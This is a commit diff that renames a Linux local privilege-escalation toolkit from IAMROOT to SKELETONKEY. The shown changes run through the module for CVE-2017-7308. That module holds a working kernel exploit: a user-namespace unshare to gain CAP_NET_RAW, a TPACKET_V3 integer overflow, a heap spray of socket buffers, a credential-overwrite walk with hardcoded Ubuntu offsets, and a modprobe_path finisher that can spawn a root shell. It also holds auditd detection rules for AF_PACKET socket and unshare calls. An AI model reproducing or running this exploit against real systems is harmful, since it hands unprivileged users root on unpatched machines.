rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -16,14 +16,14 @@ Original advisory + writeup:
|
||||
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||
finisher (64 child workers polling geteuid). Offset table covers
|
||||
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||
`IAMROOT_AFPACKET_OFFSETS` env var.
|
||||
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||
|
||||
`--full-chain` engages the shared modprobe_path finisher with
|
||||
stride-seeded sk_buff data-pointer overwrite.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
||||
#define AF_PACKET_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet_module;
|
||||
|
||||
#endif
|
||||
+56
-56
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||
@@ -15,9 +15,9 @@
|
||||
*
|
||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
|
||||
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
|
||||
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||
* overwrite didn't take on this exact kernel.
|
||||
@@ -32,7 +32,7 @@
|
||||
* staged for the requested kaddr/buf and relies on the shared
|
||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||
* actually overwritten. On kernels where the operator has supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||
* the trigger fires heuristically and the sentinel acts as the
|
||||
* ground-truth signal.
|
||||
@@ -58,7 +58,7 @@
|
||||
* skb in the OOB slot" approach.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
* They will NOT match custom-compiled kernels.
|
||||
*
|
||||
* Override at runtime via env var:
|
||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
*
|
||||
* `task_cred` = offsetof(struct task_struct, cred)
|
||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
|
||||
0x800, 0x08, 0xa8 },
|
||||
};
|
||||
|
||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
* the known table by kernel version. Returns true on success. */
|
||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
const struct kernel_version *v)
|
||||
{
|
||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
||||
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||
if (env) {
|
||||
unsigned long t, u, s;
|
||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
out->cred_size = s;
|
||||
return true;
|
||||
}
|
||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
||||
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||
return false;
|
||||
}
|
||||
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
||||
*
|
||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||
* — that requires root — but we leave a unique tag in the skb payload
|
||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
||||
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||
*/
|
||||
static int fire_overflow_and_spray(void)
|
||||
{
|
||||
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
|
||||
static const unsigned char skb_payload[256] = {
|
||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
||||
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||
* subsequent KASAN report or panic dump */
|
||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||
/* zeros for the remainder */
|
||||
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
|
||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
||||
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||
if (dup2(s, 200) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||
}
|
||||
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
* spray payload so its bytes carry the requested target kaddr
|
||||
* (the prompt's "controllable overwrite value aimed at
|
||||
* modprobe_path"). Operator-supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* within struct sk_buff for this kernel build) lets us aim
|
||||
* precisely; without it we heuristically stamp kaddr at several
|
||||
* plausible offsets within the kmalloc-2k skb layout.
|
||||
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
*/
|
||||
|
||||
struct afp_arb_ctx {
|
||||
const struct iamroot_ctx *ctx;
|
||||
const struct skeletonkey_ctx *ctx;
|
||||
const struct af_packet_offsets *off;
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
/* Per-kernel skb->data field offset — without this we can't aim
|
||||
* the overwrite precisely. Operator can supply via env; otherwise
|
||||
* we run heuristic mode. */
|
||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
||||
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||
long skb_data_off = -1;
|
||||
if (skb_off_env) {
|
||||
char *end = NULL;
|
||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
||||
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||
skb_data_off = -1;
|
||||
}
|
||||
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
" field offset. The trigger will still fire and the heap spray will\n"
|
||||
" still occur, but precise OOB targeting requires:\n"
|
||||
"\n"
|
||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
"\n"
|
||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
}
|
||||
|
||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||
* eventual execve() replaces the top-level iamroot process. */
|
||||
* eventual execve() replaces the top-level skeletonkey process. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
||||
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||
|
||||
if (skb_data_off >= 0 &&
|
||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||
"(cred-offset table is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* 1. Refuse on patched kernels — re-run detect. */
|
||||
iamroot_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* offset resolver can't find modprobe_path or (b) the trigger
|
||||
* is rejected (silent backport). */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
memset(&koff, 0, sizeof koff);
|
||||
(void)iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("af_packet");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
(void)skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&koff);
|
||||
skeletonkey_offsets_print(&koff);
|
||||
}
|
||||
struct afp_arb_ctx arb_ctx = {
|
||||
.ctx = ctx,
|
||||
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
}
|
||||
|
||||
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
/* WIN — one of our task_struct-spray children became uid 0.
|
||||
* Signal parent via exit code; parent will not exec sh from
|
||||
* this child (its address space is corrupted-ish). The win
|
||||
* is symbolic at the iamroot level: we proved the primitive
|
||||
* is symbolic at the skeletonkey level: we proved the primitive
|
||||
* lands AND the cred-overwrite walk completes. */
|
||||
_exit(0);
|
||||
}
|
||||
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||
"(signal=%d) — primitive likely fired but crashed\n",
|
||||
WTERMSIG(status));
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||
"for slab-out-of-bounds evidence\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int code = WEXITSTATUS(status);
|
||||
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* that targets OUR cred specifically (rather than spray-and-
|
||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||
*
|
||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
||||
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||
* empirically confirmed root in this process. We didn't. */
|
||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||
"but THIS process is still uid %d\n", geteuid());
|
||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||
"did not acquire root. The primitive demonstrably works.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
case 4:
|
||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||
"kernel has silent backport (detect was version-only)\n");
|
||||
return IAMROOT_OK; /* effectively patched */
|
||||
return SKELETONKEY_OK; /* effectively patched */
|
||||
|
||||
case 5:
|
||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||
"acquired root within the timeout window\n");
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||
"for evidence the OOB write occurred\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
const struct iamroot_module af_packet_module = {
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet(void)
|
||||
void skeletonkey_register_af_packet(void)
|
||||
{
|
||||
iamroot_register(&af_packet_module);
|
||||
skeletonkey_register(&af_packet_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user